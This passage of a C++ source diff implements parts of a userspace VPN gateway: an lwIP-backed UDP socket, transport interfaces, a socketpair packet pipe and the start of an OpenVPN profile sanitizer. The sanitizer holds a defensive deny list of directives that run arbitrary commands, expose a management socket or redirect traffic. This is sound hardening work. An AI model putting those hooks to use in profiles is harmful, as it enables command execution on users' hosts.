// is therefore kept by value: it belongs to the io_context, not to the netif,
// and stays usable for as long as this object can be called at all.
std::shared_ptr<Netif> netif_;
Strand strand_;
asio::any_io_executor cb_ex_;
asio::steady_timer timer_;
tcp_pcb *pcb_ = nullptr;
// Received but not yet copied out. Owned: freed after the copy.
std::deque<pbuf *> queue_;
size_t queue_offset_ = 0; // consumed bytes in queue_.front()
size_t queued_bytes_ = 0;
bool rx_eof_ = false;
bool tx_shutdown_ = false;
bool tx_shutdown_pending_ = false; // tcp_shutdown returned ERR_MEM; retry
bool closing_ = false;
std::error_code fatal_;
ConnectHandler connect_h_;
bool connecting_ = false;
ReadHandler read_h_;
asio::mutable_buffer read_buf_;
WriteHandler write_h_;
const uint8_t *write_data_ = nullptr;
size_t write_len_ = 0;
size_t write_done_ = 0;
// Written once on the strand before the stream is handed to the caller.
Endpoint local_;
Endpoint remote_;
std::atomic<bool> open_{false};
std::atomic<uint64_t> tx_{0};
std::atomic<uint64_t> rx_{0};
bool counted_open_ = false;
};
} // namespace ovg::netstack
+304
View File
@@ -0,0 +1,304 @@
#include "netstack/lwip_udp.h"
#include <algorithm>
#include <cstring>
#include <type_traits>
#include <vector>
#include "common/error.h"
#include "common/logging.h"
extern "C" {
#include "lwip/ip_addr.h"
#include "lwip/netif.h"
#include "lwip/pbuf.h"
#include "lwip/udp.h"
}
// The forward declaration in lwip_udp.h that lets s_recv match udp_recv_fn
// without a cast. If someone ever turns LWIP_IPV6 on, this fires here rather
// than as a confusing incompatible-function-pointer error.
static_assert(std::is_same_v<ip_addr_t, ip4_addr_t>,
"netstack is IPv4-only; see netstack/lwip_port/lwipopts.h");
namespace ovg::netstack {
namespace {
constexpr const char *kMod = "netstack";
// Datagrams held for a reader that has not asked yet. Sized for the two real
// consumers: a resolver has at most a handful of queries in flight, and a
// SOCKS5 UDP association that falls this far behind is losing traffic to its
// own client anyway. Beyond this we tail-drop -- see the header.
constexpr size_t kMaxQueued = 64;
} // namespace
std::shared_ptr<LwipUdpSocket> LwipUdpSocket::create(
std::shared_ptr<Netif> netif, asio::any_io_executor cb_ex) {
Strand strand = netif->stack().strand();
return std::shared_ptr<LwipUdpSocket>(
new LwipUdpSocket(std::move(netif), std::move(cb_ex)),
detail::StrandDeleter<LwipUdpSocket>{strand});
}
LwipUdpSocket::LwipUdpSocket(std::shared_ptr<Netif> netif,
asio::any_io_executor cb_ex)
: netif_(std::move(netif)),
strand_(netif_->stack().strand()),
cb_ex_(std::move(cb_ex)) {}
LwipUdpSocket::~LwipUdpSocket() {
// On the strand (StrandDeleter), so s_recv cannot be running against us.
if (counted_ && netif_) netif_->note_udp(-1);
if (pcb_ != nullptr) {
udp_recv(pcb_, nullptr, nullptr);
udp_remove(pcb_);
pcb_ = nullptr;
}
drop_queued();
if (recv_h_) {
const auto ec = make_error_code(Error::Cancelled);
asio::post(cb_ex_, [h = std::move(recv_h_), ec] { h(ec, 0, Endpoint{}); });
}
}
std::error_code LwipUdpSocket::bind_ephemeral() {
struct netif *nif = netif_->lwip_netif();
if (nif == nullptr) return make_error_code(Error::EgressGone);
pcb_ = udp_new_ip_type(IPADDR_TYPE_V4);
if (pcb_ == nullptr) return make_error_code(Error::ResourceExhausted);
// Same pin as the TCP path, and for the same reason -- except that here it
// also drives *inbound* demultiplexing, not just the outbound route.
udp_bind_netif(pcb_, nif);
ip_addr_t local{};
ip_addr_set_ip4_u32(&local, lwip_htonl(netif_->address().v4_host_order()));
// Port 0: lwIP allocates from its ephemeral range.
const err_t err = udp_bind(pcb_, &local, 0);
if (err != ERR_OK) {
udp_remove(pcb_);
pcb_ = nullptr;
return lwip_error(err);
}
udp_recv(pcb_, &LwipUdpSocket::s_recv, this);
local_ = Endpoint(netif_->address(), pcb_->local_port);
open_.store(true, std::memory_order_release);
netif_->note_udp(+1);
counted_ = true;
LOG_TRACE(kMod, "{}: udp socket bound to {}", netif_->label(),
local_.to_string());
return {};
}
// ---------------------------------------------------------------------------
// Receive
// ---------------------------------------------------------------------------
void LwipUdpSocket::s_recv(void *arg, udp_pcb *, pbuf *p, const ip4_addr *addr,
uint16_t port) {
auto *self = static_cast<LwipUdpSocket *>(arg);
if (self == nullptr || p == nullptr) {
if (p != nullptr) pbuf_free(p);
return;
}
IpAddress from;
if (addr != nullptr) from = IpAddress::from_v4(lwip_ntohl(addr->addr));
self->on_datagram(p, from, port);
}
void LwipUdpSocket::on_datagram(pbuf *p, const IpAddress &from, uint16_t port) {
if (closing_) {
pbuf_free(p);
return;
}
if (queue_.size() >= kMaxQueued) {
// Tail-drop. Dropping the newest rather than the oldest keeps whatever the
// reader is about to consume, and matches a full SO_RCVBUF.
pbuf_free(p);
const uint64_t n = drops_.fetch_add(1, std::memory_order_relaxed) + 1;
if (n == 1 || n % 256 == 0) {
LOG_WARN(kMod, "{}: udp {} receive queue full, dropped {} datagram(s)",
netif_ ? netif_->label() : "?", local_.to_string(), n);
}
return;
}
queue_.push_back(Datagram{p, Endpoint(from, port)});
pump_reader();
}
void LwipUdpSocket::async_receive_from(asio::mutable_buffer buf,
RecvHandler h) {
auto self = shared_from_this();
asio::post(strand_, [self, buf, h = std::move(h)]() mutable {
self->do_receive(buf, std::move(h));
});
}
void LwipUdpSocket::do_receive(asio::mutable_buffer buf, RecvHandler h) {
if (recv_h_) {
LOG_ERROR(kMod, "{}: overlapping async_receive_from on {}",
netif_ ? netif_->label() : "?", local_.to_string());
asio::post(cb_ex_, [h = std::move(h)] {
h(make_error_code(Error::Internal), 0, Endpoint{});
});
return;
}
recv_buf_ = buf;
recv_h_ = std::move(h);
pump_reader();
}
void LwipUdpSocket::pump_reader() {
if (!recv_h_) return;
if (!queue_.empty()) {
Datagram d = queue_.front();
queue_.pop_front();
// Truncate like recvfrom(2): the tail of an oversized datagram is lost and
// the caller is told how much it got. Silently returning a short read that
// looks complete would be worse.
const size_t take = std::min<size_t>(d.buf->tot_len, recv_buf_.size());
if (take > 0) {
pbuf_copy_partial(d.buf, recv_buf_.data(), static_cast<u16_t>(take), 0);
}
if (d.buf->tot_len > take) {
LOG_TRACE(kMod, "{}: truncated a {}-byte datagram from {} to {}",
netif_ ? netif_->label() : "?", d.buf->tot_len,
d.from.to_string(), take);
}
pbuf_free(d.buf);
complete_recv({}, take, d.from);
return;
}
if (fatal_) complete_recv(fatal_, 0, Endpoint{});
// Otherwise wait: s_recv will call back in.
}
void LwipUdpSocket::complete_recv(const std::error_code &ec, size_t n,
const Endpoint &from) {
if (!recv_h_) return;
auto h = std::move(recv_h_);
recv_h_ = nullptr;
recv_buf_ = asio::mutable_buffer();
asio::post(cb_ex_, [h = std::move(h), ec, n, from] { h(ec, n, from); });
}
// ---------------------------------------------------------------------------
// Send
// ---------------------------------------------------------------------------
void LwipUdpSocket::async_send_to(asio::const_buffer buf, const Endpoint &to,
SendHandler h) {
auto self = shared_from_this();
// The bytes are copied into a pbuf on the strand, which is after this call
// returns -- so the buffer has to be captured, not borrowed. Callers of a
// datagram socket send whole messages, so one copy per datagram is the price
// of not requiring them to keep the buffer alive across the hop.
auto data = std::make_shared<std::vector<uint8_t>>(
static_cast<const uint8_t *>(buf.data()),
static_cast<const uint8_t *>(buf.data()) + buf.size());
asio::post(strand_,
[self, data, to, h = std::move(h)]() mutable {
self->do_send(data->data(), data->size(), to, std::move(h));
});
}
void LwipUdpSocket::do_send(const uint8_t *data, size_t len, Endpoint to,
SendHandler h) {
auto reply = [&](std::error_code ec, size_t n) {
asio::post(cb_ex_, [h = std::move(h), ec, n] { h(ec, n); });
};
if (pcb_ == nullptr || closing_) {
reply(fatal_ ? fatal_ : make_error_code(Error::EgressGone), 0);
return;
}
if (to.is_domain() || !to.address().valid() || !to.address().is_v4()) {
// Names are the resolver's job and IPv6 is refused at the SOCKS5 edge; both
// are programming errors by the time they reach here.
reply(make_error_code(Error::NotSupported), 0);
return;
}
if (len > 0xFFFF - 28) { // IP + UDP headers
reply(std::make_error_code(std::errc::message_size), 0);
return;
}
pbuf *p = pbuf_alloc(PBUF_TRANSPORT, static_cast<u16_t>(len), PBUF_RAM);
if (p == nullptr) {
reply(make_error_code(Error::ResourceExhausted), 0);
return;
}
if (len > 0) std::memcpy(p->payload, data, len);
ip_addr_t dst{};
ip_addr_set_ip4_u32(&dst, lwip_htonl(to.address().v4_host_order()));
const err_t err = udp_sendto(pcb_, p, &dst, to.port());
pbuf_free(p);
if (err != ERR_OK) {
LOG_TRACE(kMod, "{}: udp send to {} failed: {}",
netif_ ? netif_->label() : "?", to.to_string(),
lwip_error(err).message());
reply(lwip_error(err), 0);
return;
}
reply({}, len);
}
// ---------------------------------------------------------------------------
// Teardown
// ---------------------------------------------------------------------------
void LwipUdpSocket::close() {
auto self = shared_from_this();
asio::post(strand_, [self] { self->do_close(); });
}
void LwipUdpSocket::do_close() {
if (closing_) return;
closing_ = true;
open_.store(false, std::memory_order_release);
if (counted_ && netif_) {
netif_->note_udp(-1);
counted_ = false;
}
if (pcb_ != nullptr) {
udp_recv(pcb_, nullptr, nullptr);
udp_remove(pcb_);
pcb_ = nullptr;
}
drop_queued();
// fatal_ when the egress pulled the rug out, Cancelled when the caller asked
// for this. A UDP receive that ends in Cancelled means "you closed me"; one
// that ends in EgressGone means "retry me on the new tunnel", and the two are
// not interchangeable to anything deciding what to do next.
complete_recv(fatal_ ? fatal_ : make_error_code(Error::Cancelled), 0,
Endpoint{});
}
void LwipUdpSocket::abort_from_netif(const std::error_code &reason) {
if (!closing_) {
fatal_ = reason;
do_close();
}
// Release the netif so it can finish being destroyed; the caller may still
// hold this socket, which from here on reports a closed socket.
netif_.reset();
}
void LwipUdpSocket::drop_queued() {
for (auto &d : queue_) pbuf_free(d.buf);
queue_.clear();
}
} // namespace ovg::netstack
+118
View File
@@ -0,0 +1,118 @@
// UdpSocket over an lwIP UDP PCB. Backs SOCKS5 UDP ASSOCIATE and the resolver.
//
// UDP has no flow control, so there is no equivalent of the receive-window
// trick lwip_tcp.h uses: a datagram that arrives with no reader waiting must
// either be buffered or dropped. This queues a small, fixed number and drops
// the newest beyond that, which is what a kernel socket does when SO_RCVBUF
// fills. Dropping is legal for UDP; unbounded growth under a stalled reader is
// not, and with SOCKS5 UDP ASSOCIATE the reader is a network client we do not
// control.
//
// Attribution across two live tunnels is *stronger* here than it is for TCP.
// lwIP matches an inbound datagram against pcb->netif_idx (udp.c: it compares
// against ip_data.current_input_netif), so udp_bind_netif() alone disambiguates
// even when both tunnels were pushed the same address -- unlike TCP, whose
// input path can only key on the destination address. The netif-level
// collision check in Stack::async_attach still applies, because TCP is the
// binding constraint.
//
// Everything below runs on Stack::strand(); handlers are posted to the caller's
// executor.
#pragma once
#include <asio.hpp>
#include <atomic>
#include <cstdint>
#include <deque>
#include <memory>
#include <system_error>
#include "netstack/lwip_stack.h"
#include "netstack/stream.h"
struct udp_pcb;
struct pbuf;
// lwIP's ip_addr_t. Spelled out rather than included because with LWIP_IPV6=0
// -- which lwip_port/lwipopts.h pins, and which lwip_stack.h explains -- it is
// a typedef for exactly this struct, so the callback signature below matches
// udp_recv_fn without a cast.
struct ip4_addr;
namespace ovg::netstack {
class LwipUdpSocket final : public UdpSocket,
public Closable,
public std::enable_shared_from_this<LwipUdpSocket> {
public:
static std::shared_ptr<LwipUdpSocket> create(std::shared_ptr<Netif> netif,
asio::any_io_executor cb_ex);
~LwipUdpSocket() override;
LwipUdpSocket(const LwipUdpSocket &) = delete;
LwipUdpSocket &operator=(const LwipUdpSocket &) = delete;
// UdpSocket
void async_receive_from(asio::mutable_buffer buf, RecvHandler h) override;
void async_send_to(asio::const_buffer buf, const Endpoint &to,
SendHandler h) override;
void close() override;
bool is_open() const override { return open_.load(std::memory_order_acquire); }
Endpoint local_endpoint() const override { return local_; }
// Closable
void abort_from_netif(const std::error_code &reason) override;
// Datagrams dropped because the receive queue was full. Exposed so the SOCKS5
// UDP path can report it rather than silently losing traffic.
uint64_t drops() const { return drops_.load(std::memory_order_relaxed); }
private:
friend class Netif;
LwipUdpSocket(std::shared_ptr<Netif> netif, asio::any_io_executor cb_ex);
// Strand-only. Called by Netif::async_open_udp before the socket is handed
// out; synchronous because there is nothing to wait for.
std::error_code bind_ephemeral();
static void s_recv(void *arg, udp_pcb *pcb, pbuf *p, const ip4_addr *addr,
uint16_t port);
// Strand-only internals.
void do_receive(asio::mutable_buffer buf, RecvHandler h);
void do_send(const uint8_t *data, size_t len, Endpoint to, SendHandler h);
void do_close();
void on_datagram(pbuf *p, const IpAddress &from, uint16_t port);
void pump_reader();
void drop_queued();
void complete_recv(const std::error_code &ec, size_t n, const Endpoint &from);
struct Datagram {
pbuf *buf = nullptr;
Endpoint from;
};
// Kept by value for the same reason as in lwip_tcp.h: abort_from_netif()
// releases netif_ while the caller may still hold this socket, so the strand
// cannot be reached through it.
std::shared_ptr<Netif> netif_;
Strand strand_;
asio::any_io_executor cb_ex_;
udp_pcb *pcb_ = nullptr;
std::deque<Datagram> queue_;
RecvHandler recv_h_;
asio::mutable_buffer recv_buf_;
Endpoint local_;
bool closing_ = false;
bool counted_ = false;
std::error_code fatal_;
std::atomic<bool> open_{false};
std::atomic<uint64_t> drops_{0};
};
} // namespace ovg::netstack
+49
View File
@@ -0,0 +1,49 @@
// What sits underneath a netif: anything that moves whole IP packets.
//
// This interface is the reason netstack has no dependency on ovpn. The tunnel
// case is one end of a socketpair fed by openvpn3 (ovpn/packet_pipe.h, adapted
// in egress/tunnel_egress.cpp), but the netstack only ever sees "something that
// takes an IP packet and eventually hands one back". Tests use a loopback
// implementation and never start a VPN.
//
// Framing: one call, one complete IP packet, no length prefix and no partial
// packets. The socketpair backing the real implementation is SOCK_DGRAM
// precisely so that this holds (docs/FEASIBILITY.md 2.2).
#pragma once
#include <asio.hpp>
#include <cstddef>
#include <functional>
#include <system_error>
namespace ovg::netstack {
class PacketLink {
public:
using RecvHandler = std::function<void(const std::error_code &, size_t)>;
virtual ~PacketLink() = default;
// Writes one packet. Returns false if it was dropped -- a full transmit queue
// is normal under congestion and is not an error: IP is allowed to lose
// packets and TCP above us is built to notice. Must not block.
virtual bool send_packet(const void *data, size_t len) = 0;
// Reads one packet. Exactly one may be outstanding. The handler is invoked
// through `ex` so the netstack can keep all lwIP work on its strand.
virtual void async_receive(asio::mutable_buffer buf,
const asio::any_io_executor &ex, RecvHandler h) = 0;
// Cancels a pending receive; its handler completes with operation_aborted.
virtual void cancel() = 0;
virtual bool is_open() const = 0;
// Largest packet this link will carry. Used to size the receive buffer; a
// datagram larger than the buffer is silently truncated by the kernel, so
// this must not be an underestimate.
virtual size_t max_packet_size() const = 0;
};
} // namespace ovg::netstack
+128
View File
@@ -0,0 +1,128 @@
// Transport abstractions the proxy layer programs against.
//
// Two implementations exist: one over lwIP inside a VPN tunnel (lwip_tcp.h,
// lwip_udp.h) and one over host sockets (egress/direct_egress.h). Nothing above
// this header knows which it has, which is what lets the SOCKS5 layer be tested
// without a VPN and what makes a future stack swap (docs/FEASIBILITY.md 4.2) a
// contained change.
//
// The shape is deliberately asio's: completion handlers taking
// (std::error_code, size_t), one outstanding operation per direction, buffers
// owned by the caller and required to stay valid until the handler runs. Making
// it look like anything else would mean every call site translating between two
// conventions, and that is where lifetime bugs come from.
//
// Threading. Implementations may run their protocol work on a private executor
// (lwIP does -- see lwip_stack.h). Every public method here is safe to call
// from any thread, and every completion handler is dispatched on the executor
// the stream was created with. Callers therefore see a single-threaded world.
#pragma once
#include <asio.hpp>
#include <cstddef>
#include <cstdint>
#include <functional>
#include <memory>
#include <string>
#include <system_error>
#include <vector>
#include "common/endpoint.h"
namespace ovg::netstack {
// A reliable, ordered byte stream to a remote host.
//
// Destruction is equivalent to close(): dropping the last reference aborts the
// connection and fails any pending operation with ovg::Error::Cancelled. That
// makes leaking a stream impossible, at the cost of requiring callers to keep a
// reference for as long as they want the connection.
class TcpStream {
public:
using ReadHandler = std::function<void(const std::error_code &, size_t)>;
using WriteHandler = std::function<void(const std::error_code &, size_t)>;
virtual ~TcpStream() = default;
// Reads at least one byte. On end-of-stream the handler gets
// (asio::error::eof, 0) -- note that this is not an error condition: the
// peer half-closed and we may still have data to send. At most one read may
// be outstanding; a second call while one is pending is a programming error
// and fails with ovg::Error::Internal.
virtual void async_read_some(asio::mutable_buffer buf, ReadHandler h) = 0;
// Writes the whole buffer. The handler runs once every byte has been accepted
// by the transport's send buffer -- not once it has been acknowledged. At most
// one write may be outstanding.
virtual void async_write(asio::const_buffer buf, WriteHandler h) = 0;
// Sends FIN, leaving the receive direction open. This is the half-close a
// proxy must propagate: a client that finished its request and is waiting for
// a response has shut down exactly one direction, and closing both would
// truncate the response.
virtual void shutdown_send() = 0;
// Immediate teardown (RST if data is in flight). Idempotent. Pending handlers
// fail with ovg::Error::Cancelled.
virtual void close() = 0;
virtual bool is_open() const = 0;
// Best-effort; empty before the connection is established.
virtual Endpoint local_endpoint() const = 0;
virtual Endpoint remote_endpoint() const = 0;
// Bytes handed to / received from the transport since creation. Used by the
// switch controller to tell an untouched session (safely re-homeable onto a
// new node) from one carrying stream state (not re-homeable -- see
// docs/FEASIBILITY.md 1.1).
virtual uint64_t bytes_written() const = 0;
virtual uint64_t bytes_read() const = 0;
};
// A datagram socket. Backs SOCKS5 UDP ASSOCIATE and the DNS resolver.
class UdpSocket {
public:
// `from` is always a literal address, never a name.
using RecvHandler =
std::function<void(const std::error_code &, size_t, const Endpoint &)>;
using SendHandler = std::function<void(const std::error_code &, size_t)>;
virtual ~UdpSocket() = default;
// Truncates to the buffer size, like recvfrom(2), and reports how many bytes
// were written -- the remainder of an oversized datagram is lost, which is
// the standard datagram contract and what SOCKS5 clients already handle.
virtual void async_receive_from(asio::mutable_buffer buf, RecvHandler h) = 0;
// `to` must be a literal address; resolving is the caller's job so that it
// happens through the same egress the datagram will take.
virtual void async_send_to(asio::const_buffer buf, const Endpoint &to,
SendHandler h) = 0;
virtual void close() = 0;
virtual bool is_open() const = 0;
virtual Endpoint local_endpoint() const = 0;
};
// Name resolution, performed through whatever egress owns this resolver, so a
// lookup can never leak outside the tunnel.
class Resolver {
public:
using Handler =
std::function<void(const std::error_code &, std::vector<IpAddress>)>;
virtual ~Resolver() = default;
// Addresses come back in the order the server gave them. A literal address
// string resolves to itself without a query.
virtual void async_resolve(const std::string &host, Handler h) = 0;
virtual void clear_cache() = 0;
};
using TcpStreamPtr = std::shared_ptr<TcpStream>;
using UdpSocketPtr = std::shared_ptr<UdpSocket>;
} // namespace ovg::netstack
+154
View File
@@ -0,0 +1,154 @@
#include "ovpn/packet_pipe.h"
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <cerrno>
#include <cstring>
#include "common/logging.h"
#include "common/metrics.h"
namespace ovg::ovpn {
namespace {
constexpr const char *kMod = "ovpn.pipe";
metrics::Counter *tx_dropped_metric() {
static auto *c = metrics::counter(
"ovg_tun_tx_dropped_total",
"IP packets dropped writing to the tunnel (peer queue full)");
return c;
}
// Asks for `want` bytes and reports what the kernel settled on. Linux doubles
// the request internally for bookkeeping, so the value read back is roughly
// 2x what was asked for -- and is capped by net.core.{r,w}mem_max when we do
// not hold CAP_NET_ADMIN, which is the normal case for us.
int set_and_read_buf(int fd, int optname, int want) {
if (want > 0) ::setsockopt(fd, SOL_SOCKET, optname, &want, sizeof(want));
int got = 0;
socklen_t len = sizeof(got);
if (::getsockopt(fd, SOL_SOCKET, optname, &got, &len) != 0) return 0;
return got;
}
} // namespace
PacketPipe::PacketPipe(asio::io_context &io) : sock_(io) {}
PacketPipe::~PacketPipe() { close(); }
bool PacketPipe::open(int socket_buffer_bytes, std::string *err) {
if (sock_.is_open()) {
if (err) *err = "packet pipe already open";
return false;
}
int fds[2] = {-1, -1};
if (::socketpair(AF_UNIX, SOCK_DGRAM | SOCK_CLOEXEC, 0, fds) != 0) {
if (err) *err = std::string("socketpair: ") + std::strerror(errno);
return false;
}
// fds[0] is ours, fds[1] goes to openvpn3. Both directions need the buffer:
// ours holds packets the tunnel delivered until the netstack drains them,
// theirs holds packets we wrote until openvpn3 encrypts them.
granted_sndbuf_ = set_and_read_buf(fds[0], SO_SNDBUF, socket_buffer_bytes);
granted_rcvbuf_ = set_and_read_buf(fds[0], SO_RCVBUF, socket_buffer_bytes);
set_and_read_buf(fds[1], SO_SNDBUF, socket_buffer_bytes);
set_and_read_buf(fds[1], SO_RCVBUF, socket_buffer_bytes);
std::error_code ec;
sock_.assign(asio::local::datagram_protocol(), fds[0], ec);
if (ec) {
::close(fds[0]);
::close(fds[1]);
if (err) *err = "assign socketpair to asio: " + ec.message();
return false;
}
peer_fd_ = fds[1];
peer_released_ = false;
if (socket_buffer_bytes > 0 && granted_sndbuf_ < socket_buffer_bytes) {
// Worth a line: the usual cause is net.core.wmem_max, and an operator
// chasing throughput needs to know the knob they set did not take effect.
LOG_INFO(kMod,
"tun socket buffers clamped by the kernel: asked {} B, got "
"snd={} B rcv={} B (raise net.core.wmem_max/rmem_max to lift it)",
socket_buffer_bytes, granted_sndbuf_, granted_rcvbuf_);
} else {
LOG_DEBUG(kMod, "tun packet pipe up: fd={} peer_fd={} snd={} rcv={}",
sock_.native_handle(), peer_fd_, granted_sndbuf_,
granted_rcvbuf_);
}
return true;
}
int PacketPipe::release_peer_fd() {
if (peer_fd_ < 0 || peer_released_) return -1;
peer_released_ = true;
const int fd = peer_fd_;
peer_fd_ = -1;
return fd;
}
void PacketPipe::close() {
if (peer_fd_ >= 0 && !peer_released_) {
::close(peer_fd_);
peer_fd_ = -1;
}
if (sock_.is_open()) {
std::error_code ignored;
sock_.close(ignored);
}
}
PacketPipe::SendStatus PacketPipe::send_packet(const void *data, size_t len) {
if (!sock_.is_open()) return SendStatus::Closed;
if (len == 0 || len > kMaxPacketSize) {
tx_dropped_.fetch_add(1, std::memory_order_relaxed);
tx_dropped_metric()->inc();
return SendStatus::Dropped;
}
// MSG_NOSIGNAL because a closed peer must surface as EPIPE, not SIGPIPE.
for (;;) {
const ssize_t n = ::send(sock_.native_handle(), data, len,
MSG_DONTWAIT | MSG_NOSIGNAL);
if (n >= 0) {
tx_packets_.fetch_add(1, std::memory_order_relaxed);
tx_bytes_.fetch_add(static_cast<uint64_t>(n), std::memory_order_relaxed);
return SendStatus::Ok;
}
if (errno == EINTR) continue;
if (errno == EAGAIN || errno == EWOULDBLOCK || errno == ENOBUFS ||
errno == EMSGSIZE || errno == ENOMEM) {
tx_dropped_.fetch_add(1, std::memory_order_relaxed);
tx_dropped_metric()->inc();
return SendStatus::Dropped;
}
// EPIPE / ECONNREFUSED / EBADF: openvpn3 closed its end.
LOG_DEBUG(kMod, "tun write failed, peer gone: {}", std::strerror(errno));
return SendStatus::Closed;
}
}
void PacketPipe::note_received(size_t bytes) {
rx_packets_.fetch_add(1, std::memory_order_relaxed);
rx_bytes_.fetch_add(bytes, std::memory_order_relaxed);
}
PacketPipe::Counters PacketPipe::counters() const {
Counters c;
c.tx_packets = tx_packets_.load(std::memory_order_relaxed);
c.tx_bytes = tx_bytes_.load(std::memory_order_relaxed);
c.tx_dropped = tx_dropped_.load(std::memory_order_relaxed);
c.rx_packets = rx_packets_.load(std::memory_order_relaxed);
c.rx_bytes = rx_bytes_.load(std::memory_order_relaxed);
return c;
}
} // namespace ovg::ovpn
+114
View File
@@ -0,0 +1,114 @@
// The tun replacement: a socketpair that carries raw IP packets.
//
// openvpn3's TunBuilder contract says tun_builder_establish() returns a file
// descriptor "which the caller will henceforth own", and the Linux tun builder
// client wraps that descriptor in an openvpn_io::posix::stream_descriptor. It
// never issues a single tun ioctl on it, so the descriptor does not have to be
// a tun device -- one end of a socketpair works exactly as well, and needs no
// root, no CAP_NET_ADMIN and no device node. That is the hinge the whole
// userspace design turns on (docs/FEASIBILITY.md 2.2).
//
// SOCK_DGRAM, not SOCK_STREAM, and the distinction matters: a tun device
// delivers whole IP packets with framing, and a datagram socket preserves
// exactly that boundary. Over SOCK_STREAM we would have to reassemble packets
// by parsing IP length fields, and a single desync would corrupt the stream
// forever.
//
// On Linux under USE_TUN_BUILDER the core leaves tun_prefix false, so what
// crosses this pipe is bare IP -- no 4-byte address-family prefix.
#pragma once
#include <asio.hpp>
#include <asio/local/datagram_protocol.hpp>
#include <atomic>
#include <cstddef>
#include <cstdint>
#include <string>
namespace ovg::ovpn {
// The largest IP packet we will move. VPNGate pushes MTUs at or below 1500;
// the slack covers a server that pushes something unusual. Sizing matters
// because a datagram socket silently truncates anything larger than the read
// buffer -- no error, no short-read indication, just a corrupt packet.
inline constexpr size_t kMaxPacketSize = 4096;
// One end of the pipe (ours, asio-driven). The other end is a bare fd that
// gets handed to openvpn3, which owns and closes it from that point on.
//
// Not thread-safe for open()/close()/release_peer_fd(): those run on the owner
// before the worker thread starts and after it exits. The counters are atomic
// so the admin endpoint can read them from anywhere.
class PacketPipe {
public:
using Socket = asio::local::datagram_protocol::socket;
enum class SendStatus {
Ok,
Dropped, // buffer full or packet too big -- legal for IP, counted
Closed, // peer end is gone; the tunnel is down
};
struct Counters {
uint64_t tx_packets = 0;
uint64_t tx_bytes = 0;
uint64_t tx_dropped = 0;
uint64_t rx_packets = 0;
uint64_t rx_bytes = 0;
};
explicit PacketPipe(asio::io_context &io);
~PacketPipe();
PacketPipe(const PacketPipe &) = delete;
PacketPipe &operator=(const PacketPipe &) = delete;
// Creates the socketpair and adopts our end. `socket_buffer_bytes` is a
// request, not a guarantee: without CAP_NET_ADMIN the kernel clamps it to
// net.core.{r,w}mem_max, so the value actually granted is logged.
bool open(int socket_buffer_bytes, std::string *err);
bool is_open() const { return sock_.is_open(); }
// Transfers ownership of the far end to the caller (openvpn3). Returns -1 if
// already released or never opened. After this the pipe will not close that
// descriptor, because openvpn3's TunPersist will.
int release_peer_fd();
bool peer_released() const { return peer_released_; }
void close();
// Our end, for the netstack's async_receive loop.
Socket &socket() { return sock_; }
// Writes one IP packet. Never blocks: on a full peer queue the packet is
// dropped and counted, which is what a real NIC transmit ring does under
// congestion and what TCP is built to recover from. Queuing here instead
// would just add latency to a path that already has an SO_SNDBUF of queue.
SendStatus send_packet(const void *data, size_t len);
// The netstack owns the receive loop, so it reports what it read.
void note_received(size_t bytes);
Counters counters() const;
// Bytes the kernel actually granted, for logging and for sizing decisions.
int granted_sndbuf() const { return granted_sndbuf_; }
int granted_rcvbuf() const { return granted_rcvbuf_; }
private:
Socket sock_;
int peer_fd_ = -1;
bool peer_released_ = false;
int granted_sndbuf_ = 0;
int granted_rcvbuf_ = 0;
std::atomic<uint64_t> tx_packets_{0};
std::atomic<uint64_t> tx_bytes_{0};
std::atomic<uint64_t> tx_dropped_{0};
std::atomic<uint64_t> rx_packets_{0};
std::atomic<uint64_t> rx_bytes_{0};
};
} // namespace ovg::ovpn
+321
View File
@@ -0,0 +1,321 @@
#include "ovpn/profile_sanitizer.h"
#include <algorithm>
#include <cctype>
#include <set>
#include <unordered_set>
#include <fmt/format.h>
#include "vpngate/csv_parser.h"
namespace ovg::ovpn {
namespace {
std::string_view trim(std::string_view s) {
size_t b = 0, e = s.size();
while (b < e && std::isspace(static_cast<unsigned char>(s[b]))) ++b;
while (e > b && std::isspace(static_cast<unsigned char>(s[e - 1]))) --e;
return s.substr(b, e - b);
}
std::string lower(std::string_view s) {
std::string r(s);
std::transform(r.begin(), r.end(), r.begin(),
[](unsigned char c) { return std::tolower(c); });
return r;
}
// Directives removed for safety. Three families:
// - hooks that name a program to run,
// - process/host state we have no business changing (and, running as an
// unprivileged user, could not anyway),
// - transport redirection, which would move our packets somewhere the
// selector never measured.
const std::unordered_set<std::string_view> &denied() {
static const std::unordered_set<std::string_view> s = {
// Script hooks -- arbitrary command execution.
"up", "down", "down-pre", "up-delay", "up-restart", "route-up",
"route-pre-down", "ipchange", "tls-verify", "tls-export-cert",
"client-connect", "client-disconnect", "learn-address",
"auth-user-pass-verify", "script-security", "plugin", "askpass",
// Process and host state.
"daemon", "user", "group", "chroot", "cd", "setcon", "service",
"writepid", "log", "log-append", "status", "status-version", "iproute",
"register-dns", "dhcp-renew", "dhcp-release", "show-net-up", "win-sys",
"block-outside-dns",
// Management interface: an unauthenticated control socket by default.
"management", "management-client", "management-client-auth",
"management-client-pf", "management-client-user",
"management-client-group", "management-external-cert",
"management-external-key", "management-forget-disconnect",
"management-hold", "management-log-cache", "management-query-passwords",
"management-query-proxy", "management-query-remote", "management-signal",
"management-up-down",
// Transport redirection.
"http-proxy", "http-proxy-option", "http-proxy-retry",
"http-proxy-timeout", "socks-proxy", "socks-proxy-retry",
// Interface addressing: ours to decide, not the profile's. A local
// ifconfig here would fight the addresses the server pushes.
"ifconfig", "ifconfig-ipv6", "ifconfig-noexec", "dev-node", "dev-type",
// Server-side directive; meaningless (and confusing) in a client profile.
"push",
};
return s;
}
// Directives we drop from the input because we emit our own canonical version.
// Not reported as "dropped": that would be noise on every single profile.
const std::unordered_set<std::string_view> &regenerated() {
static const std::unordered_set<std::string_view> s = {
"client", "pull", "tls-client", "dev",
"nobind", "bind", "local", "lport",
"verb", "remote", "proto", "rport",
"port", "remote-random", "remote-random-hostname",
"resolv-retry", "persist-tun", "persist-key",
};
return s;
}
// Inline blocks worth keeping: keys, certificates and the pre-shared material
// that goes with them. Anything else is dropped whole -- notably <connection>,
// which is an alternative way to smuggle in remotes we did not score.
const std::unordered_set<std::string_view> &kept_blocks() {
static const std::unordered_set<std::string_view> s = {
"ca", "cert", "key", "extra-certs", "dh",
"tls-auth", "tls-crypt", "tls-crypt-v2", "secret", "pkcs12",
"crl-verify",
};
return s;
}
std::vector<std::string_view> tokenize(std::string_view line) {
std::vector<std::string_view> tok;
size_t i = 0;
while (i < line.size()) {
while (i < line.size() && std::isspace(static_cast<unsigned char>(line[i])))
